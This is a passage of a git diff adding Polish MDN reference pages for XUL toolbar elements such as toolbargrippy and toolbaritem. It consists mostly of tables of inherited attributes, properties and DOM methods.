href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt> Elementy
+</dt><dd> <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbargrippy" title="toolbargrippy">toolbargrippy</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbaritem" title="toolbaritem">toolbaritem</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarpalette" title="toolbarpalette">toolbarpalette</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarseparator" title="toolbarseparator">toolbarseparator</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarset" title="toolbarset">toolbarset</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarspacer" title="toolbarspacer">toolbarspacer</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarspring" title="toolbarspring">toolbarspring</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbox" title="toolbox">toolbox</a></code>
+</dd></dl>
+<dl><dt> Interfejsy
+</dt><dd> <a href="pl/NsIAccessibleProvider">nsIAccessibleProvider</a>, <a href="pl/NsIDOMXULButtonElement">nsIDOMXULButtonElement</a>
+</dd></dl>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/toolbargrippy/index.html b/files/pl/mozilla/tech/xul/toolbargrippy/index.html
new file mode 100644
index 0000000000..f58feba66c
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/toolbargrippy/index.html
@@ -0,0 +1,113 @@
+---
+title: toolbargrippy
+slug: Mozilla/Tech/XUL/toolbargrippy
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/toolbargrippy
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p><b><span class="highlightred">Nie w Firefoksie</span></b>
+</p><p>Wcięcie na stronie zawierającej pasek narzędzi (<code><a href="/pl/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code>), który może być użyty do zawinięcia i rozwinięcia tegoż paska. Ten element często jest stosowany wewnętrznie poprzez pasek narzędzi i powinien być tylko stosowany, kiedy bezpośrednio wpływa on na wygląd motywu podczas modyfikacji.
+</p><p>Dodatkowe informacje są dostępne w <a href="pl/Kurs_XUL/Paski_narz%c4%99dzi">kursie XUL</a>. </p>
+<dl><dt> Własności </dt><dd> <a href="#p-accessible">accessible</a>
+</dd></dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>(potrzebne przykłady)
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
+<code id="a-uri"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/uri">uri</a></code>,
+<code id="a-wait-cursor"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/wait-cursor">wait-cursor</a></code>,
+<code id="a-width"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/width">width</a></code> </small></p>
+</td>
+</tr>
+</tbody>
+</table>
+<p></p>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci"> Własności </h3>
+<p></p><div id="p-accessible">
+<dl>
+ <dt>
+ <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/W%C5%82asno%C5%9B%C4%87/accessible">accessible</a></span></code></dt>
+ <dd>
+ Typ:
+ <i>
+ <a href="pl/NsIAccessible">nsIAccessible</a></i>
+ </dd>
+ <dd>
+ Zwraca obiekt dostępności dla elementu.</dd>
+</dl></div>
+<table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/align">align</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/allowEvents">allowEvents</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/boxObject">boxObject</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/builder">builder</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/className">className</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/collapsed">collapsed</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/contextMenu">contextMenu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/controllers">controllers</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/database">database</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/datasources">datasources</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/dir">dir</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/flex">flex</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/height">height</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/hidden">hidden</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/id">id</a></span></code>, , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/left">left</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxHeight">maxHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/maxWidth">maxWidth</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/menu">menu</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minHeight">minHeight</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/minWidth">minWidth</a></span></code>, , , , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/observes">observes</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ordinal">ordinal</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/orient">orient</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/pack">pack</a></span></code>, , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/persist">persist</a></span></code>, , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/ref">ref</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/resource">resource</a></span></code>, , , , , <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/statusText">statusText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/style">style</a></span></code>, ,, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltip">tooltip</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/tooltipText">tooltipText</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/top">top</a></span></code>, <code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/width">width</a></span></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Metody" name="Metody"> Metody </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0px 0px 10px 10px; padding: 0px 10px; background: rgb(238, 238, 238) none repeat scroll 0% 50%;"> <tbody> <tr> <td> <p><strong>Dziedziczy z elementu XUL</strong><br> <small> <span id="m-blur"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/blur">blur</a></code></span>, <span id="m-click"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/click">click</a></code></span>, <span id="m-doCommand"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/doCommand">doCommand</a></code></span>, <span id="m-focus"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/focus">focus</a></code></span>, <span id="m-getElementsByAttribute"><code><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Metoda/getElementsByAttribute">getElementsByAttribute</a></code></span></small></p> <p><strong>Dziedziczy z elementu DOM</strong><br> <small> <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.addEventListener">addEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.appendChild">appendChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.dispatchEvent">dispatchEvent()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttribute">getAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNode">getAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNodeNS">getAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getAttributeNS">getAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagName">getElementsByTagName()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.getElementsByTagNameNS">getElementsByTagNameNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttribute">hasAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributeNS">hasAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasAttributes">hasAttributes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.hasChildNodes">hasChildNodes()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.isSupported">isSupported()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.normalize">normalize()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttribute">removeAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNode">removeAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeAttributeNS">removeAttributeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeChild">removeChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.removeEventListener">removeEventListener()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.replaceChild">replaceChild()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttribute">setAttribute()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNode">setAttributeNode()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNodeNS">setAttributeNodeNS()</a></code>, <code><a href="https://developer.mozilla.org/pl/docs/DOM/element.setAttributeNS">setAttributeNS()</a></code></small></p> </td> </tr> </tbody>
+</table>
+<p></p>
+<h3 id="Podobne" name="Podobne"> Podobne </h3>
+<dl><dt> Elementy
+</dt><dd> <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarbutton" title="toolbarbutton">toolbarbutton</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbaritem" title="toolbaritem">toolbaritem</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarpalette" title="toolbarpalette">toolbarpalette</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarseparator" title="toolbarseparator">toolbarseparator</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarset" title="toolbarset">toolbarset</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarspacer" title="toolbarspacer">toolbarspacer</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarspring" title="toolbarspring">toolbarspring</a></code>, <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbox" title="toolbox">toolbox</a></code>
+</dd></dl>
+<dl><dt> Interfejsy
+</dt><dd> <a href="pl/NsIAccessibleProvider">nsIAccessibleProvider</a>
+</dd></dl>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/toolbaritem/index.html b/files/pl/mozilla/tech/xul/toolbaritem/index.html
new file mode 100644
index 0000000000..50733a88d3
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/toolbaritem/index.html
@@ -0,0 +1,96 @@
+---
+title: toolbaritem
+slug: Mozilla/Tech/XUL/toolbaritem
+tags:
+ - Dokumentacja_XUL
+ - Elementy_XUL
+translation_of: Archive/Mozilla/XUL/toolbaritem
+---
+<div class="noinclude"><span class="breadcrumbs XULRef_breadcrumbs">
+ « <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a> [
+ <a href="#Przyk.C5.82ady">Przykłady</a> |
+ <a href="#Atrybuty">Atrybuty</a> |
+ <a href="#W.C5.82asno.C5.9Bci">Własności</a> |
+ <a href="#Metody">Metody</a> |
+ <a href="#Podobne">Podobne</a> ]
+</span></div> <p><b><span class="highlightred">Tylko Firefox</span></b>
+</p><p>Pozycja wyświetlana na <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code>. Ten element powinien zawijać wszystkie pozycje, które nie są przyciskami, jakie będą utworzone, zamiast przy użyciu elementu <code><a href="/pl/docs/Mozilla/Tech/XUL/toolbarbutton" title="toolbarbutton">toolbarbutton</a></code>. Element jest stosowany do na przykład; podtrzymania pozycji pasków <code><a href="/pl/docs/Mozilla/Tech/XUL/textbox" title="textbox">textbox</a></code> w Firefoksie.
+</p>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<p>(potrzebne przykłady)
+</p>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<p></p><table style="border: 1px solid rgb(204, 204, 204); margin: 0 0 10px 10px; padding: 0 10px; background: rgb(238, 238, 238);">
+<tbody>
+<tr>
+<td><p><strong>Dziedziczy z elementu XUL</strong><br> <small>
+<code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code>,
+<code id="a-allowevents"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allowevents">allowevents</a></code>,
+<code id="a-allownegativeassertions"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/allownegativeassertions">allownegativeassertions</a></code>,
+<code id="a-class"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/class">class</a></code>,
+<code id="a-coalesceduplicatearcs"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/coalesceduplicatearcs">coalesceduplicatearcs</a></code>,
+<code id="a-collapsed"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/collapsed">collapsed</a></code>,
+<code id="a-container"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/container">container</a></code>,
+<code id="a-containment"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/containment">containment</a></code>,
+<code id="a-context"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/context">context</a></code>,
+<code id="a-contextmenu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/contextmenu">contextmenu</a></code>,
+<code id="a-datasources"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/datasources">datasources</a></code>,
+<code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code>,
+<code id="a-empty"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/empty">empty</a></code>,
+<code id="a-equalsize"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/equalsize">equalsize</a></code>,
+<code id="a-flags"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flags">flags</a></code>,
+<code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code>,
+<code id="a-height"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/height">height</a></code>,
+<code id="a-hidden"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/hidden">hidden</a></code>,
+<code id="a-id"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/id">id</a></code>,
+<code id="a-insertafter"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertafter">insertafter</a></code>,
+<code id="a-insertbefore"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/insertbefore">insertbefore</a></code>,
+<code id="a-left"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/left">left</a></code>,
+<code id="a-maxheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxheight">maxheight</a></code>,
+<code id="a-maxwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/maxwidth">maxwidth</a></code>,
+<code id="a-menu"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/menu">menu</a></code>,
+<code id="a-minheight"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minheight">minheight</a></code>,
+<code id="a-minwidth"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/minwidth">minwidth</a></code>,
+<code id="a-mousethrough"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/mousethrough">mousethrough</a></code>,
+<code id="a-observes"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/observes">observes</a></code>,
+<code id="a-ordinal"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ordinal">ordinal</a></code>,
+<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>,
+<code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code>,
+<code id="a-persist"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/persist">persist</a></code>,
+<code id="a-popup"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/popup">popup</a></code>,
+<code id="a-position"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/position">position</a></code>,
+<code id="a-preference-editable"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/preference-editable">preference-editable</a></code>,
+<code id="a-querytype"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/querytype">querytype</a></code>,
+<code id="a-ref"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/ref">ref</a></code>,
+<code id="a-removeelement"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/removeelement">removeelement</a></code>,
+<code id="a-sortDirection"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortDirection">sortDirection</a></code>,
+<code id="a-sortResource"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource">sortResource</a></code>,
+<code id="a-sortResource2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/sortResource2">sortResource2</a></code>,
+<code id="a-statustext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/statustext">statustext</a></code>,
+<code id="a-style"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/style">style</a></code>,
+<code id="a-template"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/template">template</a></code>,
+<code id="a-tooltip"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltip">tooltip</a></code>,
+<code id="a-tooltiptext"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/tooltiptext">tooltiptext</a></code>,
+<code id="a-top"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/top">top</a></code>,
